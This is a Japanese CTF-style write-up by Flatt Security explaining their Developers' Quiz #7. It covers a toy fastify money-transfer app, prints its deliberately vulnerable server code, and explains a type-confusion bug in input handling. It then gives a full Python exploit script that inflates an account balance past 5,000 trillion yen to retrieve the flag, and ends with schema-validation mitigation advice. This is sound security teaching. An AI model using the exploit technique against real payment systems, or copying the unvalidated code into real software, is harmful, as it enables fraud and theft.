こんにちは、今回作問したTerranovaです。今回はFlatt Security Developers' Quiz #7にご参加いただきありがとうございました。
🍫 Flatt Security Developers' Quiz #7 開催! 🍫
— 株式会社Flatt Security (@flatt_security) 2024年2月14日
解答は2/18(日) 19:59まで!チョコ獲得を目指して頑張ってください!
デモ環境: https://t.co/7J8Ez1nct4
ソースコード: https://t.co/14AHolfCRt
解答提出フォーム: https://t.co/sdvK7UzDel pic.twitter.com/MlNcKswnai
今回のクイズの概要
今回のクイズでは、送金風アプリを非常に簡易化したようなwebアプリケーションを題材に、JavaScriptに関連した問題を作成しました。 このクイズのゴールは、送金アプリのバグをついて、口座に5000兆円より多いお金を持っている状態を作ることです。 この問題の2つのポイントは、JavaScriptにおける値の不適切な扱い と JavaScriptにおけるproperty accessの挙動 です。 この解説では、まずソースコードを概観した後、今回のアプリの脆弱性について解説し、最後にその脆弱性を用いてどのように5000兆円を手に入れるかについて説明します。
問題の概要
ソースコード
ソースコードはGitHubで公開されています。
サーバーのソースコード
今回はJavaScript + fastifyを用いた短めのサーバーが実装されています。 *1
const app = require('fastify')(); const { randomBytes } = require('crypto'); const { readFileSync } = require('fs'); const FLAG = process.env.FLAG || 'Flatt{DUMMY}'; const FIVE_THOUSAND_CHOU_YEN = 5000000000000000; const users = {}; app.post('/register', (req) => { const id = randomBytes(10).toString('hex') + '-' + req.body.username; return users[id] = { id, balance: 10 }; }); app.get('/user/:userId', (req, res) => { const user = users[req.params.userId]; if (!user) return res.code(404).send({ error: 'User not found' }); if (user.balance > FIVE_THOUSAND_CHOU_YEN) user.secret = FLAG; return user; }); app.post('/transfer', (req, res) => { const { fromID, toID } = req.body; if (fromID.length < 21 || toID.length < 21) return res.code(400).send({ error: 'Invalid request' }); const from = users[fromID]; const to = users[toID]; const amount = parseInt(req.body.amount); if (!(from && to && 0 < amount && amount <= from.balance)) return res.code(400).send({ error: 'Invalid request' }); to.balance += amount; const toName = toID.split('-')[1]; from.balance -= amount; const fromName = fromID.split('-')[1]; return { receipt: `${fromName} -> ${toName} (${amount})` }; }); app.get('/', (_, res) => { res.type('text/html').send(readFileSync('index.html')); }); app.listen({ port: 3000, host: '0.0.0.0' })
エンドポイントは以下の3つです
POST /register
usernameを受け取って、新しいIDを発行、ユーザーを作成します。
GET /user/:userId
userIDを指定して、現在の口座の料金の情報を取得します。ただし口座に5000兆円より多いお金が入っていた場合、フラグが secret
として返されます。
POST /transfer
今回の問題で最も重要なエンドポイントで、1. 振込元 2. 振込先 3. 振込金額 の3つを指定して、送金処理を行います。
ただし、振込元や振込先のIDが適切でなかったり、振込元に十分な振込金額が含まれているかどうかなどを事前に確認して、もし正しくなければ400が返されます。
送金後は、領収書として ${fromName} -> ${toName} (${amount})
という形式の文字列が返されます。
脆弱性
今回の脆弱性は、transferエンドポイントにおいて、ユーザーからPOSTされたJSONデータをvalidationせずに利用している点です。以下の部分に着目します
app.post('/transfer', (req, res) => { const { fromID, toID } = req.body;
ここで、通常のリクエストでは
{ "fromID": "xxxx-user", "toID": "yyyy-user2", "amount": 1 }
のような文字列や数値が来ることを想定していますが、この部分には配列やオブジェクトなどを配置することが可能で、そのような入力が来てもアプリケーションはリクエストを弾かずに処理を継続してしまいます。 結果としてtype confusionが発生します。
解法
方針
今回の方針では、transferエンドポイントの
to.balance += amount; const toName = toID.split('-')[1]; from.balance -= amount; const fromName = fromID.split('-')[1];
の部分に着目し toID.split('-')[1]
で例外を起こし処理を中断することを目指します。
これにより、送信元の口座からお金を減らすことなく送信先の口座のお金を増やすことができます。
例えば、送信元と送信先を同じ口座に設定し、送金額として「口座のお金全て」を指定すれば、倍々に口座に保持されているお金を増やしていくことが可能です。
ではどのように例外を起こすと良いでしょうか?
仮に何らかの-
を含まない文字列をtoIDに入れられていたとしても配列外参照では例外が発生しないので、一見すると難しそうに見えます。
しかし、そもそもtoID.split
自体が未定義であれば、つまりtoID
が文字列ではなくsplit関数が定義されていない何らかのオブジェクトになっていれば、未定義の関数を呼び出したことになり例外を出すことができると分かります。
ここで思い出すべきが、先程の脆弱性です。toIDには、文字列以外にも配列やオブジェクトを指定することが可能です。 ただし、問題として、toIDがこの部分より上のtransferの処理では "正しく" 扱われている必要があります。具体的には、
if (fromID.length < 21 || toID.length < 21) return res.code(400).send({ error: 'Invalid request' }); const from = users[fromID]; const to = users[toID]; const amount = parseInt(req.body.amount); if (!(from && to && 0 < amount && amount <= from.balance)) return res.code(400).send({ error: 'Invalid request' });
の部分で、invalid requestとならないような入力にしなければなりません。特にto
がundefinedになっておらず、適切に口座情報をusersから取り出せなければいけません。
では users[toID]
は、配列やオブジェクトを用いてプロパティアクセスするときどのようなことが起こるのでしょうか?これが今回の問題の裏テーマです。
JavaScriptのBracket notationにおけるkeyの扱いについて
JavaScriptのBracket notation 、すなわち obj[key]
のような形でのプロパティアクセスでは、keyに来る値が文字列やSymbolに変換された上で利用されるという仕様があります。実際にnodeの対話環境を用いてこの挙動を試してみましょう。
> var x = {"flatt": 1} undefined > x["flatt"] 1 > var k = ["flatt"]; undefined > x[k] 1
このように配列をプロパティアクセスに利用した場合その文字列表現が利用され、 flatt
プロパティにアクセスすることができます。
/register
で得られたIDが 55592b814f6b3ba1f599-flatt
だったとすると、この挙動を用いれば、["55592b814f6b3ba1f599-flatt"]
をtoIDに与えると、文字列で与えたときと同じようにusersオブジェクトから口座情報を取り出すことができますし、文字列以外の値をtoIDに割り当てることができます。
toID.length < 21
に対する対処
しかし、もう一つ問題があります。それは、 toID.length < 21
という制約です。実際、上述の配列ではlengthが1になってしまうので、このチェックでinvalid requestになってしまいリクエストが弾かれてしまいます。
これを回避するために、["55592b814f6b3ba1f599-flatt"]の代わりに、残りを""という空文字列20個で埋めた次のような配列を考えてみます。
['55592b814f6b3ba1f599-flatt', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '']
このデータを toString
すると 55592b814f6b3ba1f599-flatt,,,,,,,,,,,,,,,,,,,,
という文字列に変換されます。つまり、もともとのidとして末尾にカンマが20個ついているユーザー名 flatt,,,,,,,,,,,,,,,,,,,,
をあらかじめ与えておけば、サーバーは上の配列をtoIDとして受け取ったとしても正しくusersオブジェクトからデータをlookupすることができると分かります。これを用いることで、toID.length < 21
に関する制約も回避することができました。
最終的なフラグ取得スクリプト
以上をまとめます。
toIDに長さ21以上になるように工夫して作られた配列を指定してあげると、配列にはsplit関数が定義されていないので先程問題にしていたtoID.split('-')[1]
において未定義であるという例外が発生し、(toへのお金の加算は行なわれた後)fromの口座からお金が減らされる前に処理を中断させることができます。つまり、fromの口座からお金を減らすことなくtoの口座にお金を振り込むことができました。
あとはこのリクエストを、amountの数を倍々にしながら49回ほどのtransferリクエストを送ることで最終的に口座のお金を5000兆円より多くすることができます。
以下のようなスクリプトを書くことで、実際に、フラグを入手することができます。
import requests import random import string BASE_URL = "https://flatt-security-quiz-7-wwkt7pxosa-an.a.run.app/" # 1. ユーザー名 "flatt,,,,,,,,,,,,,,,,,,,," でユーザー登録 payload = ["" for _ in range(21)] payload[0]="flatt" username = ','.join(map(str, payload)) print(f"[+] username: {username}") response = requests.post(f"{BASE_URL}/register", json={"username": username}) user = response.json() user_id = user["id"].split(",")[0] # randomに付与されるIDを含めてuser_idを取り出す print(f"[+] registered user: {user}") # 2. toIDに配列 [userid, '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', ''] を指定 # したJSONのデータを作成 payload[0] = user_id print(f"[+] payload: {payload}") url = f"{BASE_URL}/transfer" data = {"fromID": user["id"], "toID": payload, "amount": 1} amount = 10 # 3. 5000兆円になるまで、amountの数を倍々に増やしながらtransferを繰り返す while amount < 5000000000000000: print(f"[+] current amount: {amount}") data["amount"] = amount amount += amount response = requests.post(url, json=data) if response.status_code != 500: print(response.status_code, response.json()) break url = f"{BASE_URL}/user/{user['id']}" response = requests.get(url) print(f"[+] FLAG: {response.json()['secret']}")
問題の難易度
事前のレビューでは、ソースコードの短さや、バグ自体のシンプルさから難易度を「やや簡単」と評価しました。 しかし、あまり適切な予想では無かったと思われます。申し訳ありません。 特に、ありそうな方向性の多さから、誤った方向にうっかり進んでしまうと、沼にハマってしまう可能性は大きかったと思われます。 また、JavaScriptのプロパティアクセスのkeyは文字列に正規化されてから利用されるという点は、知識や実験を要求する部分ではありました。 そのため、後出しにはなりますが、ヒントを通してある程度方向性に対するガイドを追加しました。 適切だったかはわかりませんが、最後のパズル要素の部分を楽しんで頂けていたら幸いです。 次回以降は、より適切に問題評価を行っていきたいと思っております。
Quizのような脆弱性をつくらないために
JavaScriptでは、実行時の暗黙の型変換が非自明な形で走ることが多いため注意が必要です。 特に今回のように、ユーザーから渡されたJSONオブジェクトを適切なバリデーションなしで処理することは危険です。 fastifyのようなライブラリでは、各API向けの Schemaを定義しライブラリにチェックしてもらう機能 がありこういった機能を正しく使うことで、今回のような脆弱性を無くすことができます。*2
終わりに
Flatt Securityではセキュリティエンジニアを積極採用中です。「参考までに説明だけ聞いてみたい...」といった形でも大丈夫なので、ぜひカジュアル面談などご活用ください。
▼ 採用情報はこちら
▼ カジュアル面談はこちら
*1:#6 (Flatt Security Developers' Quiz #6 解説 - Flatt Security Blog)では、長めのソースコードから脆弱性を探してもらう問題になっていましたが、今回は趣向を変えてみました。長いソースコードを解析するのはそれだけで大変ですが、今回は逆にパズル要素が追加されていてその意味でも雰囲気の異なる2問になっていると思います。
*2:トランザクションなしで銀行口座の金額を上げ下げしていること自体問題ですが、今回の問題の本筋とは離れますし、そもそも今回はtoy applicationでありこの部分に特に重要な示唆は無いと思いますので今回は無視します